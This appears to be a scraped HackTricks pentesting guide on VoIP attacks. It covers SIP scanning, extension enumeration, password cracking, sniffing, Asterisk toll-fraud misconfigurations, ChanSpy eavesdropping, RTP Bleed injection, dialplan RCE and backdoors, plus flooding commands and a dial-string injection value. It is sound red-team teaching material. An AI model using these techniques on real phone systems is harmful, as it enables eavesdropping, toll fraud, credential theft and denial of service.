Pentesting VoIP
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Get a hacker's perspective on your web apps, network, and cloud
Find and report critical, exploitable vulnerabilities with real business impact. Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
To start learning about how VoIP works check:
Basic VoIP Protocols1xx—Provisional Responses
2xx—Successful Responses
3xx—Redirection Responses
4xx—Client Failure Responses
5xx—Server Failure Responses
6xx—Global Failure Responses
One of the first steps a Red Team could do is to search available phone numbers to contact with the company using OSINT tools, Google Searches or scraping the web pages.
Once you have the telephone numbers you could use online services to identify the operator:
Knowing if the operator provides VoIP services you could identify if the company is using VoIP... Moreover, it's possible that the company hasn't hired VoIP services but is using PSTN cards to connect it's own VoIP PBX to the traditional telephony network.
Things such as automated responses of music usually indicates that VoIP is being used.
Any other OSINT enumeration that helps to identify VoIP software being used will be helpful for a Red Team.
nmap is capable of scanning UDP services, but because of the number of UDP services being scanned, it's very slow and might not be very accurate with this kind of services.
svmap from SIPVicious (sudo apt install sipvicious): Will locate SIP services in the indicated network.
svmap is easy to block because it uses the User-Agent friendly-scanner, but you could modify the code from /usr/share/sipvicious/sipvicious and change it.
SIPPTS scan from sippts: SIPPTS scan is a very fast scanner for SIP services over UDP, TCP or TLS. It uses multithread and can scan large ranges of networks. It allows to easily indicate a port range, scan both TCP & UDP, use another method (by default it will use OPTIONS) and specify a different User-Agent (and more).
metasploit:
The PBX could also be exposing other network services such as:
69/UDP (TFTP): Firmware updates
80 (HTTP) / 443 (HTTPS): To manage the device from the web
389 (LDAP): Alternative to store the users information
3306 (MySQL): MySQL database
5038 (Manager): Allows to use Asterisk from other platforms
5222 (XMPP): Messages using Jabber
5432 (PostgreSQL): PostgreSQL database
And others...
It's possible to find which methods are available to use in the PBX using SIPPTS enumerate from sippts
It is very important to analyse the headers that a server sends back to us, depending on the type of message and headers that we send. With SIPPTS send from sippts we can send personalised messages, manipulating all the headers, and analyse the response.
It is also possible to obtain data if the server uses websockets. With SIPPTS wssend from sippts we can send personalised WS messages.
Extensions in a PBX (Private Branch Exchange) system refer to the unique internal identifiers assigned to individual phone lines, devices, or users within an organization or business. Extensions make it possible to route calls within the organization efficiently, without the need for individual external phone numbers for each user or device.
svwar from SIPVicious (sudo apt install sipvicious): svwar is a free SIP PBX extension line scanner. In concept it works similar to traditional wardialers by guessing a range of extensions or a given list of extensions.
SIPPTS exten from sippts: SIPPTS exten identifies extensions on a SIP server. Sipexten can check large network and port ranges.
metasploit: You can also enumerate extensions/usernames with metasploit:
enumiax (apt install enumiax): enumIAX is an Inter Asterisk Exchange protocol username brute-force enumerator. enumIAX may operate in two distinct modes; Sequential Username Guessing or Dictionary Attack.
Having discovered the PBX and some extensions/usernames, a Red Team could try to authenticate via the REGISTER method to an extension using a dictionary of common passwords to brute force the authentication.
Note that a username can be the same as the extension, but this practice may vary depending on the PBX system, its configuration, and the organization's preferences...
If the username is not the same as the extension, you will need to figure out the username to brute-force it.
svcrack from SIPVicious (sudo apt install sipvicious): SVCrack allows you to crack the password for a specific username/extension on a PBX.
SIPPTS rcrack from sippts: SIPPTS rcrack is a remote password cracker for SIP services. Rcrack can test passwords for several users in different IPs and port ranges.
Among the network information, you could find web credentials to manage the equipment, user extensions, username, IP addresses, even hashed passwords and RTP packets that you could reproduce to hear the conversation, and more.
To get this information you could use tools such as Wireshark, tcpdump... but a specially created tool to sniff VoIP conversations is ucsniff.
Note that if TLS is used in the SIP communication you won't be able to see the SIP communication in clear. The same will happen if SRTP and ZRTP is used, RTP packets won't be in clear text.
sipdump & sipcrack, part of sipcrack (apt-get install sipcrack): These tools can extract from a pcap the digest authentications within the SIP protocol and bruteforce them.
SIPPTS dump from sippts: SIPPTS dump can extract digest authentications from a pcap file.
SIPPTS dcrack from sippts: SIPPTS dcrack is a tool to crack the digest authentications obtained with SIPPTS dump.
SIPPTS tshark from sippts: SIPPTS tshark extracts data of SIP protocol from a PCAP file.
Not only SIP credentials can be found in the network traffic, it's also possible to find DTMF codes which are used for example to access the voicemail. It's possible to send these codes in INFO SIP messages, in audio or inside RTP packets. If the codes are inside RTP packets, you could cut that part of the conversation and use the tool multimo to extract them:
In Asterisk it's possible to allow a connection from an specific IP address or from any IP address:
If an IP address is specified, the host won't need to send REGISTER requests every once in a while (in the REGISTER packet is sent the time to live, usually 30min, which means that in other scenario the phone will need to REGISTER every 30mins). However, it'll need to have open ports allowing connections from the VoIP server to take calls.
To define users they can be defined as:
type=user: The user can only receive calls as user.
type=friend: It's possible to perform calls as peer and receive them as user (used with extensions)
type=peer: It's possible to send and receive calls as peer (SIP-trunks)
It's also possible to establish trust with the insecure variable:
insecure=port: Allows peer connections validated by IP.
insecure=invite: Doesn't require authentication for INVITE messages
insecure=port,invite: Both
When type=friend is used, the value of the host variable won't be used, so if an admin misconfigure a SIP-trunk using that value, anyone will be able to connect to it.
For example, this configuration would be vulnerable:
host=10.10.10.10
insecure=port,invite
type=friend
In Asterisk a context is a named container or section in the dial plan that groups together related extensions, actions, and rules. The dial plan is the core component of an Asterisk system, as it defines how incoming and outgoing calls are handled and routed. Contexts are used to organize the dial plan, manage access control, and provide separation between different parts of the system.
Each context is defined in the configuration file, typically in the extensions.conf file. Contexts are denoted by square brackets, with the context name enclosed within them. For example:
Inside the context, you define extensions (patterns of dialed numbers) and associate them with a series of actions or applications. These actions determine how the call is processed. For instance:
This example demonstrates a simple context called "my_context" with an extension "100". When someone dials 100, the call will be answered, a welcome message will be played, and then the call will be terminated.
This is another context that allows to call to any other number:
If the admin defines the default context as:
Anyone will be able to use the server to call to any other number (and the admin of the server will pay for the call).
Moreover, by default the sip.conf file contains allowguest=true, then any attacker with no authentication will be able to call to any other number.
SIPPTS invite from sippts: SIPPTS invite checks if a PBX server allows us to make calls without authentication. If the SIP server has an incorrect configuration, it will allow us to make calls to external numbers. It can also allow us to transfer the call to a second external number.
For example, if your Asterisk server has a bad context configuration, you can accept INVITE request without authorization. In this case, an attacker can make calls without knowing any user/pass.
IVRS stands for Interactive Voice Response System, a telephony technology that allows users to interact with a computerized system through voice or touch-tone inputs. IVRS is used to build automated call handling systems that offer a range of functionalities, such as providing information, routing calls, and capturing user input.
IVRS in VoIP systems typically consists of:
Voice prompts: Pre-recorded audio messages that guide users through the IVR menu options and instructions.
DTMF (Dual-Tone Multi-Frequency) signaling: Touch-tone inputs generated by pressing keys on the phone, which are used to navigate through the IVR menus and provide input.
Call routing: Directing calls to the appropriate destination, such as specific departments, agents, or extensions based on user input.
User input capture: Collecting information from callers, such as account numbers, case IDs, or any other relevant data.
Integration with external systems: Connecting the IVR system to databases or other software systems to access or update information, perform actions, or trigger events.
In an Asterisk VoIP system, you can create an IVR using the dial plan (extensions.conf file) and various applications such as Background(), Playback(), Read(), and more. These applications help you play voice prompts, capture user input, and control the call flow.
The previous is a example where the user is asked to press 1 to call a department, 2 to call another, or the complete extension if he knows it. The vulnerability is the fact that the indicated extension length is not checked, so a user could input the 5seconds timeout a complete number and it will be called.
Using a extension such as:
Where ${EXTEN} is the extension that will be called, when the ext 101 is introduced this is what would happen:
However, if ${EXTEN} allows to introduce more than numbers (like in older Asterisk versions), an attacker could introduce 101&SIP123123123 to call the phone number 123123123. And this would be the result:
Therefore, a call to the extension 101 and 123123123 will be send and only the first one getting the call would be stablished... but if an attacker use an extension that bypasses any match that is being performed but doesn't exist, he could be inject a call only to the desired number.
The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones, including both hardware and software IP Phones as well as phone adapters (VoIP to analogue). The vulnerability allows leakage of the Digest authentication response, which is computed from the password. An offline password attack is then possible and can recover most passwords based on the challenge response.
**Vulnerability scenario from here**:
An IP Phone (victim) is listening on any port (for example: 5060), accepting phone calls
The attacker sends an INVITE to the IP Phone
The victim phone starts ringing and someone picks up and hangs up (because no one answers the phone at the other end)
When the phone is hung up, the victim phone sends a BYE to the attacker
The attacker issues a 407 response that asks for authentication and issues an authentication challenge
The victim phone provides a response to the authentication challenge in a second BYE
The attacker can then issue a brute-force attack on the challenge response on his local machine (or distributed network etc) and guess the password
SIPPTS leak from sippts: SIPPTS leak exploits the SIP Digest Leak vulnerability that affects a large number of SIP Phones. The output can be saved in SipCrack format to bruteforce it using SIPPTS dcrack or the SipCrack tool.
Click2Call allows a web user (who for example might be interested in a product) to introduce his telephone number to get called. Then a commercial will be called, and when he picks up the phone the user will be called and connected with the agent.
A common Asterisk profile for this is:
The previous profile is allowing ANY IP address to connect (if the password is known).
To organize a call, like specified previously, no read permissions is necessary and only originate in write is needed.
With those permissions any IP knowing the password could connect and extract too much info, like:
More information or actions could be requested.
In Asterisk it's possible to use the command ChanSpy indicating the extension(s) to monitor (or all of them) to hear conversations that are happening. This command need to be assigned to an extension.
For example, exten => 333,1,ChanSpy('all',qb) indicate that if you call the extension 333, it will monitor all the extensions, start listening whenever a new conversation start (b) in quiet mode (q) as we don't want to interact on it. You could go from one conversation happening to another pressing *, or marking the extension number.
It's also possible tu use ExtenSpy to monitor one extension only.
Instead of listening the conversations, it's possible to record them in files using an extension such as:
Calls will be saved in /tmp.
You could also even make Asterisk execute a script that will leak the call when it's closed.
RTCPBleed is a major security issue affecting Asterisk-based VoIP servers (published in 2017). The vulnerability allows RTP (Real Time Protocol) traffic, which carries VoIP conversations, to be intercepted and redirected by anyone on the Internet. This occurs because RTP traffic bypasses authentication when navigating through NAT (Network Address Translation) firewalls.
RTP proxies try to address NAT limitations affecting RTC systems by proxying RTP streams between two or more parties. When NAT is in place, the RTP proxy software often cannot rely on the RTP IP and port information retrieved through signalling (e.g. SIP). Therefore, a number of RTP proxies have implemented a mechanism where such IP and port tuplet is learned automatically. This is often done by by inspecting incoming RTP traffic and marking the source IP and port for any incoming RTP traffic as the one that should be responded to. This mechanism, which may be called "learning mode", does not make use of any sort of authentication. Therefore attackers may send RTP traffic to the RTP proxy and receive the proxied RTP traffic meant to be for the caller or callee of an ongoing RTP stream. We call this vulnerability RTP Bleed because it allows attackers to receive RTP media streams meant to be sent to legitimate users.
Another interesting behaviour of RTP proxies and RTP stacks is that sometimes, even if not vulnerable to RTP Bleed, they will accept, forward and/or process RTP packets from any source. Therefore attackers can send RTP packets which may allow them to inject their media instead of the legitimate one. We call this attack RTP injection because it allows injection of illegitimate RTP packets into existent RTP streams. This vulnerability may be found in both RTP proxies and endpoints.
Asterisk and FreePBX have traditionally used the NAT=yes setting, which enables RTP traffic to bypass authentication, potentially leading to no audio or one-way audio on calls.
For more info check https://www.rtpbleed.com/
SIPPTS rtpbleed from sippts: SIPPTS rtpbleed detects the RTP Bleed vulnerability sending RTP streams.
SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleed detects the RTP Bleed vulnerability sending RTCP streams.
SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedflood exploit the RTP Bleed vulnerability sending RTP streams.
SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinject exploit the RTP Bleed vulnerability injecting an audio file (WAV format).
In Asterisk you somehow manage to be able to add extension rules and reload them (for example by compromising a vulnerable web manager server), it's possible to get RCE using the System command.
There is command called Shell that could be used instead of System to execute system commands if necessary.
If the server is disallowing the use of certain characters in the System command (like in Elastix), check if the web server allows to create files somehow inside the system (like in Elastix or trixbox), and use it to create a backdoor script and then use System to execute that script.
sip.conf -> Contains the password of SIP users.
If the Asterisk server is running as root, you could compromise root
mysql root user might doesn't have any password.
this could be used to create a new mysql user as backdoor
FreePBX
amportal.conf -> Contains the password of the web panel administrator (FreePBX)
FreePBX.conf -> Constains the password of the user FreePBXuser used to access the database
this could be used to create a new mysql user as backdoor
Elastix
Elastix.conf -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass
Several folders will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
It's possible to insert a .wav in converstions using tools such as rtpinsertsound (sudo apt install rtpinsertsound) and rtpmixsound (sudo apt install rtpmixsound).
Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to scan conversations (rtpscan.pl), send a .wav to a conversation (rtpsend.pl) and insert noise in a conversation (rtpflood.pl).
There are several ways to try to achieve DoS in VoIP servers.
SIPPTS flood from sippts**: SIPPTS flood sends unlimited messages to the target.
sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping from sippts**: SIPPTS ping makes a SIP ping to see the server response time.
sippts ping -i 10.10.0.10
IAXFlooder: DoS IAX protocol used by Asterisk
inviteflood: A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
rtpflood: Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
SIPp: Allows to analyze and generate SIP traffic. so it can be used to DoS also.
SIPsak: SIP swiss army knife. Can also be used to perform SIP attacks.
Fuzzers: protos-sip, voiper.
The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixbox... The problem with those is that once it's working sysadmins might not update them again and vulnerabilities are going to be discovered with time.
Get a hacker's perspective on your web apps, network, and cloud
Find and report critical, exploitable vulnerabilities with real business impact. Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
If you find VoIP equipment inside an Open Wifi network, you could sniff all the information. Moreover, if you are inside a more closed network (connected via Ethernet or protected Wifi) you could perform MitM attacks such as between the PBX and the gateway in order to sniff the information.
to learn how are credentials being sent.
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
